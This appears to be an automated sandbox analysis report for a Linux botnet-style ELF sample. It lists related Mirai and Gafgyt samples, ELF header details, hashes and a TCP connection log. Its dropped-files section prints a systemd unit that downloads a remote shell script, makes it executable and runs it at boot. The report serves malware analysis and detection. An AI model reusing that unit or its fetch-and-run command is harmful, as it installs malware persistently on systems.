Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
Africa-on-Cloud-ASZA	arm.elf	Get hash	malicious	Unknown	Browse	45.200.149.96
	mips.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	arm5.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	mpsl.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	DF2.exe	Get hash	malicious	Unknown	Browse	45.200.148.158
	mpsl.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	mips.elf	Get hash	malicious	Unknown	Browse	45.200.149.249
	http://trezorbridge.org/	Get hash	malicious	Unknown	Browse	45.200.149.223
	vcimanagement.armv4l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.228.63.21
	vcimanagement.armv7l.elf	Get hash	malicious	Gafgyt, Mirai	Browse	156.228.216.13
AMAZON-02US	socat.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	arm5.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	ngwa5.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	http://www.rr8844.com	Get hash	malicious	Unknown	Browse	3.5.146.228
	arm6.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	https://bitl.to/3Y0B	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	18.245.31.129
	bot.mips.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	54.171.230.55
	emips.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	loligang.m68k.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	18.253.227.163
AS-COLOCROSSINGUS	arm.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	mips.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	arm5.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	mpsl.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	mpsl.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	arm.elf	Get hash	malicious	Unknown	Browse	23.94.37.42
	mips.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	arm5.elf	Get hash	malicious	Unknown	Browse	23.94.37.42
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse	104.168.45.33
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	104.168.45.33
AS-COLOCROSSINGUS	arm.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	mips.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	arm5.elf	Get hash	malicious	Unknown	Browse	107.175.130.16
	mpsl.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	mpsl.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	arm.elf	Get hash	malicious	Unknown	Browse	23.94.37.42
	mips.elf	Get hash	malicious	Unknown	Browse	104.168.33.8
	arm5.elf	Get hash	malicious	Unknown	Browse	23.94.37.42
	boatnet.sh4.elf	Get hash	malicious	Mirai	Browse	104.168.45.33
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse	104.168.45.33

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

/etc/systemd/system/startup_command.service

Download File

Process:	/tmp/x86_64.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	361
Entropy (8bit):	5.140421405816541
Encrypted:	false
SSDEEP:	6:z8jvIERZAMzdK+KOnFfltZCrXb1vN16R1E/Ls7QkhILQmWA4Rv:z+vIERZAOK+PCrXpvL6vJ73GLHWrv
MD5:	4D2C868F454B6C55731485CF0F886DC0
SHA1:	032B125DE0A28DCEE8D8D25FBEEB56DB7F403F04
SHA-256:	8C4AE1B82477698F3A8C273B439CB9079794AFB8FC33CD4DEF854936BA37EA2C
SHA-512:	060B2413A0CB2DEC0DB059C190467B5CB0D76209EFFEA4AE3DE2701FA71429B811A6F7E11E813B26806CF72578D1F32B608A02A4CE670EC58B5B65433E3CF11D
Malicious:	false
Reputation:	low
Preview:	[Unit].Description=Startup Command.After=network.target..[Service].ExecStart=cd /tmp \|\| cd /var/run \|\| cd /mnt \|\| cd /root \|\| cd / \|\| cd /home; wget http://154.216.18.192/auto.sh \|\| busybox wget http://154.216.18.192/auto.sh \|\| curl -O http://154.216.18.192/auto.sh; chmod 777 auto.sh; ./auto.sh (null).RemainAfterExit=yes..[Install].WantedBy=multi-user.target.

/memfd:snapd-env-generator (deleted)

Download File

Process:	/usr/lib/systemd/system-environment-generators/snapd-env-generator
File Type:	ASCII text
Category:	dropped
Size (bytes):	76
Entropy (8bit):	3.7627880354948586
Encrypted:	false
SSDEEP:	3:+M4VMPQnMLmPQ9JEcwwbn:+M4m4MixcZb
MD5:	D86A1F5765F37989EB0EC3837AD13ECC
SHA1:	D749672A734D9DEAFD61DCA501C6929EC431B83E
SHA-256:	85889AB8222C947C58BE565723AE603CC1A0BD2153B6B11E156826A21E6CCD45
SHA-512:	338C4B776FDCC2D05E869AE1F9DB64E6E7ECC4C621AB45E51DD07C73306BACBAD7882BE8D3ACF472CAEB30D4E5367F8793D3E006694184A68F74AC943A4B7C07
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin.

Static File Info

General

File type:	ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.099475784478253
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	x86_64.elf
File size:	81'616 bytes
MD5:	793608dcc966f10f356cc0c84b68f618
SHA1:	7042c74fc2ef1c8acdb11e020348d66b0c0a65ec
SHA256:	0ede5fe6fc280fd897bfafe958262eae21f5e866aa7fbc0c74aaf4a3e9ec3237
SHA512:	b49664b0cc0848ac96a1cc3d1a99e35e57158499b5b77f2c74d737eb39a1987ea33a198ab58f8a15ca6417f8a8c5003aff98464a9524d4f192e3d4674a7fb911
SSDEEP:	1536:jEZ7dF3Nw8V/OjhJgpZqLKfFVb5/QR6qngwfR6eeiTzrcL1RPSnReSNESw3SVXF:jUdRa8VQHgp9FVSR60gw1XTza1RPS8SN
TLSH:	A3835B27B981C0FDC49AC2344B6F723ED962B47D0238F2BA27D4FB266D89D601E1E554
File Content Preview:	.ELF..............>.......@.....@.......P<..........@.8...@.......................@.......@.....P7......P7......................X7......X7Q.....X7Q..............4..............Q.td....................................................H...._....j...H........

Static ELF Info

ELF header
Class:	ELF64
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Advanced Micro Devices X86-64
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400194
Flags:	0x0
ELF Header Size:	64
Program Header Offset:	64
Program Header Size:	56
Number of Program Headers:	3
Section Header Offset:	80976
Section Header Size:	64
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x4000e8	0xe8	0x13	0x0	0x6	AX	1
.text	PROGBITS	0x400100	0x100	0x10396	0x0	0x6	AX	16
.fini	PROGBITS	0x410496	0x10496	0xe	0x0	0x6	AX	1
.rodata	PROGBITS	0x4104c0	0x104c0	0x3290	0x0	0x2	A	32
.ctors	PROGBITS	0x513758	0x13758	0x10	0x0	0x3	WA	8
.dtors	PROGBITS	0x513768	0x13768	0x10	0x0	0x3	WA	8
.data	PROGBITS	0x513780	0x13780	0x490	0x0	0x3	WA	32
.bss	NOBITS	0x513c20	0x13c10	0x12fe8	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0x13c10	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x13750	0x13750	6.1594	0x5	R E	0x100000	.init .text .fini .rodata
LOAD	0x13758	0x513758	0x513758	0x4b8	0x134b0	2.3459	0x6	RW	0x100000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x8

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 08:47:51.102859020 CET	443	33606	54.171.230.55	192.168.2.23
Jan 2, 2025 08:47:51.102982044 CET	33606	443	192.168.2.23	54.171.230.55
Jan 2, 2025 08:47:51.107897043 CET	443	33606	54.171.230.55	192.168.2.23
Jan 2, 2025 08:47:53.276539087 CET	43928	443	192.168.2.23	91.189.91.42
Jan 2, 2025 08:47:58.907782078 CET	42836	443	192.168.2.23	91.189.91.43
Jan 2, 2025 08:48:00.187597990 CET	42516	80	192.168.2.23	109.202.202.202
Jan 2, 2025 08:48:12.966689110 CET	43510	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:12.971472025 CET	2601	43510	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:12.971549034 CET	43510	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:12.978759050 CET	43510	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:12.983508110 CET	2601	43510	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:12.983668089 CET	43510	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:12.988425970 CET	2601	43510	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:13.241795063 CET	43928	443	192.168.2.23	91.189.91.42
Jan 2, 2025 08:48:13.804740906 CET	2601	43510	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:13.804807901 CET	43510	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:13.804841042 CET	43510	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:15.166769028 CET	45846	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:15.171694040 CET	2601	45846	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:15.171787024 CET	45846	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:15.204269886 CET	45846	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:15.209137917 CET	2601	45846	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:15.209974051 CET	45846	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:15.214915991 CET	2601	45846	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:15.986582994 CET	2601	45846	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:15.986689091 CET	45846	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:15.986689091 CET	45846	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:17.173950911 CET	43898	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:17.178814888 CET	2601	43898	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:17.178881884 CET	43898	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:17.182955980 CET	43898	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:17.187757969 CET	2601	43898	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:17.187819958 CET	43898	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:17.192675114 CET	2601	43898	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:17.849495888 CET	2601	43898	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:17.849561930 CET	43898	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:17.849596024 CET	43898	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:18.891072989 CET	57992	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:18.895999908 CET	2601	57992	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:18.896136045 CET	57992	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:18.903975964 CET	57992	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:18.908832073 CET	2601	57992	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:18.908926010 CET	57992	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:18.914560080 CET	2601	57992	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:19.707770109 CET	2601	57992	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:19.707844019 CET	57992	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:19.712148905 CET	57992	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:20.741466999 CET	59324	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:20.746329069 CET	2601	59324	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:20.746396065 CET	59324	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:20.750684977 CET	59324	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:20.755552053 CET	2601	59324	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:20.755593061 CET	59324	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:20.760364056 CET	2601	59324	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:21.265396118 CET	2601	59324	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:21.265470028 CET	59324	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:21.265503883 CET	59324	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:22.108911037 CET	45854	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:22.113699913 CET	2601	45854	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:22.113790989 CET	45854	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:22.119515896 CET	45854	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:22.124279022 CET	2601	45854	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:22.124347925 CET	45854	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:22.129106998 CET	2601	45854	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:22.447900057 CET	42682	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:22.452742100 CET	2601	42682	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:22.452799082 CET	42682	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:22.458389997 CET	42682	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:22.463191986 CET	2601	42682	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:22.463236094 CET	42682	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:22.467979908 CET	2601	42682	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:22.920166969 CET	2601	45854	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:22.920283079 CET	45854	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:22.920283079 CET	45854	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:22.964963913 CET	2601	42682	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:22.965029001 CET	42682	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:22.965082884 CET	42682	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:23.958725929 CET	59330	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:23.963566065 CET	2601	59330	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:23.963637114 CET	59330	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:23.969742060 CET	59330	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:23.974605083 CET	2601	59330	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:23.974678993 CET	59330	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:23.979469061 CET	2601	59330	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:24.000947952 CET	38186	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:24.006247044 CET	2601	38186	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:24.006493092 CET	38186	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:24.022653103 CET	38186	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:24.027461052 CET	2601	38186	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:24.027534962 CET	38186	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:24.032301903 CET	2601	38186	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:24.488375902 CET	2601	59330	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:24.488473892 CET	59330	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:24.488473892 CET	59330	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:24.830789089 CET	2601	38186	45.200.149.249	192.168.2.23
Jan 2, 2025 08:48:24.830936909 CET	38186	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:24.830936909 CET	38186	2601	192.168.2.23	45.200.149.249
Jan 2, 2025 08:48:25.526340961 CET	43528	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:25.528064966 CET	42836	443	192.168.2.23	91.189.91.43
Jan 2, 2025 08:48:25.531162024 CET	2601	43528	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:25.531227112 CET	43528	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:25.537292004 CET	43528	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:25.542154074 CET	2601	43528	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:25.542202950 CET	43528	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:25.547008991 CET	2601	43528	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:25.876502991 CET	43914	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:25.881383896 CET	2601	43914	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:25.881443977 CET	43914	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:25.890450954 CET	43914	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:25.895301104 CET	2601	43914	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:25.895829916 CET	43914	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:25.900640965 CET	2601	43914	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:26.334498882 CET	2601	43528	45.200.149.167	192.168.2.23
Jan 2, 2025 08:48:26.334568024 CET	43528	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:26.334604025 CET	43528	2601	192.168.2.23	45.200.149.167
Jan 2, 2025 08:48:26.545456886 CET	2601	43914	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:26.545516968 CET	43914	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:26.545568943 CET	43914	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:27.373223066 CET	43916	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:27.378077984 CET	2601	43916	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:27.378164053 CET	43916	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:27.384604931 CET	43916	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:27.389426947 CET	2601	43916	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:27.389492989 CET	43916	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:27.394397974 CET	2601	43916	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:27.582179070 CET	43918	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:27.587061882 CET	2601	43918	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:27.587157965 CET	43918	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:27.594445944 CET	43918	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:27.599386930 CET	2601	43918	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:27.599450111 CET	43918	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:27.604361057 CET	2601	43918	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:28.041944027 CET	2601	43916	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:28.042025089 CET	43916	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:28.042025089 CET	43916	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:28.244692087 CET	2601	43918	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:28.244757891 CET	43918	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:28.244808912 CET	43918	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:29.103559017 CET	58012	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:29.108321905 CET	2601	58012	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:29.108422995 CET	58012	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:29.114289999 CET	58012	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:29.119016886 CET	2601	58012	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:29.119077921 CET	58012	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:29.123929977 CET	2601	58012	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:29.290992975 CET	42698	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:29.295886993 CET	2601	42698	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:29.295943022 CET	42698	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:29.312434912 CET	42698	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:29.317218065 CET	2601	42698	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:29.317270994 CET	42698	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:29.322052956 CET	2601	42698	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:29.623506069 CET	42516	80	192.168.2.23	109.202.202.202
Jan 2, 2025 08:48:29.814527988 CET	2601	42698	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:29.814604044 CET	42698	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:29.814635992 CET	42698	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:29.943296909 CET	2601	58012	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:29.943422079 CET	58012	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:29.945413113 CET	58012	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:30.853961945 CET	42700	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:30.858823061 CET	2601	42700	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:30.858932972 CET	42700	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:30.870604038 CET	42700	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:30.875464916 CET	2601	42700	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:30.875530005 CET	42700	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:30.880426884 CET	2601	42700	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:31.114018917 CET	58018	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:31.118925095 CET	2601	58018	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:31.118988037 CET	58018	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:31.125458956 CET	58018	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:31.130215883 CET	2601	58018	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:31.130259991 CET	58018	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:31.135020018 CET	2601	58018	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:31.369034052 CET	2601	42700	104.168.33.8	192.168.2.23
Jan 2, 2025 08:48:31.369143963 CET	42700	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:31.369143963 CET	42700	2601	192.168.2.23	104.168.33.8
Jan 2, 2025 08:48:31.941473007 CET	2601	58018	45.200.149.95	192.168.2.23
Jan 2, 2025 08:48:31.941534996 CET	58018	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:31.941576004 CET	58018	2601	192.168.2.23	45.200.149.95
Jan 2, 2025 08:48:32.400482893 CET	43928	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:32.405293941 CET	2601	43928	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:32.405396938 CET	43928	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:32.409430981 CET	43928	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:32.414272070 CET	2601	43928	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:32.414331913 CET	43928	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:32.419152975 CET	2601	43928	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:32.980346918 CET	45880	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:32.986501932 CET	2601	45880	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:32.986576080 CET	45880	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:32.990025043 CET	45880	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:32.996256113 CET	2601	45880	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:32.996304035 CET	45880	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:33.001437902 CET	2601	45880	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:33.065692902 CET	2601	43928	23.94.242.130	192.168.2.23
Jan 2, 2025 08:48:33.065805912 CET	43928	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:33.065805912 CET	43928	2601	192.168.2.23	23.94.242.130
Jan 2, 2025 08:48:33.920295000 CET	2601	45880	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:33.920361042 CET	45880	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:33.920403004 CET	45880	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:34.092834949 CET	45882	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:34.097661972 CET	2601	45882	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:34.097726107 CET	45882	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:34.100912094 CET	45882	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:34.105674028 CET	2601	45882	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:34.105726004 CET	45882	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:34.110564947 CET	2601	45882	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:34.920913935 CET	2601	45882	45.200.149.96	192.168.2.23
Jan 2, 2025 08:48:34.921010017 CET	45882	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:34.921010017 CET	45882	2601	192.168.2.23	45.200.149.96
Jan 2, 2025 08:48:34.951453924 CET	59356	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:34.956258059 CET	2601	59356	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:34.956454992 CET	59356	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:34.961400032 CET	59356	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:34.966263056 CET	2601	59356	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:34.966311932 CET	59356	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:34.971072912 CET	2601	59356	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:35.482400894 CET	2601	59356	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:35.482456923 CET	59356	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:35.482495070 CET	59356	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:35.947122097 CET	59358	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:35.951970100 CET	2601	59358	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:35.952039957 CET	59358	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:35.958617926 CET	59358	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:35.963395119 CET	2601	59358	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:35.963450909 CET	59358	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:35.968209028 CET	2601	59358	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:36.506655931 CET	2601	59358	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:36.506742954 CET	59358	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:36.506824970 CET	59358	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:36.612509966 CET	59360	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:36.617424011 CET	2601	59360	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:36.617571115 CET	59360	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:36.620655060 CET	59360	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:36.625483990 CET	2601	59360	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:36.625535965 CET	59360	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:36.630419016 CET	2601	59360	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:37.137145042 CET	2601	59360	23.94.37.42	192.168.2.23
Jan 2, 2025 08:48:37.137207031 CET	59360	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:37.137207031 CET	59360	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:37.611870050 CET	59362	2601	192.168.2.23	23.94.37.42
Jan 2, 2025 08:48:37.616729021 CET	2601	59362	23.94.37.42	192.168.2.23
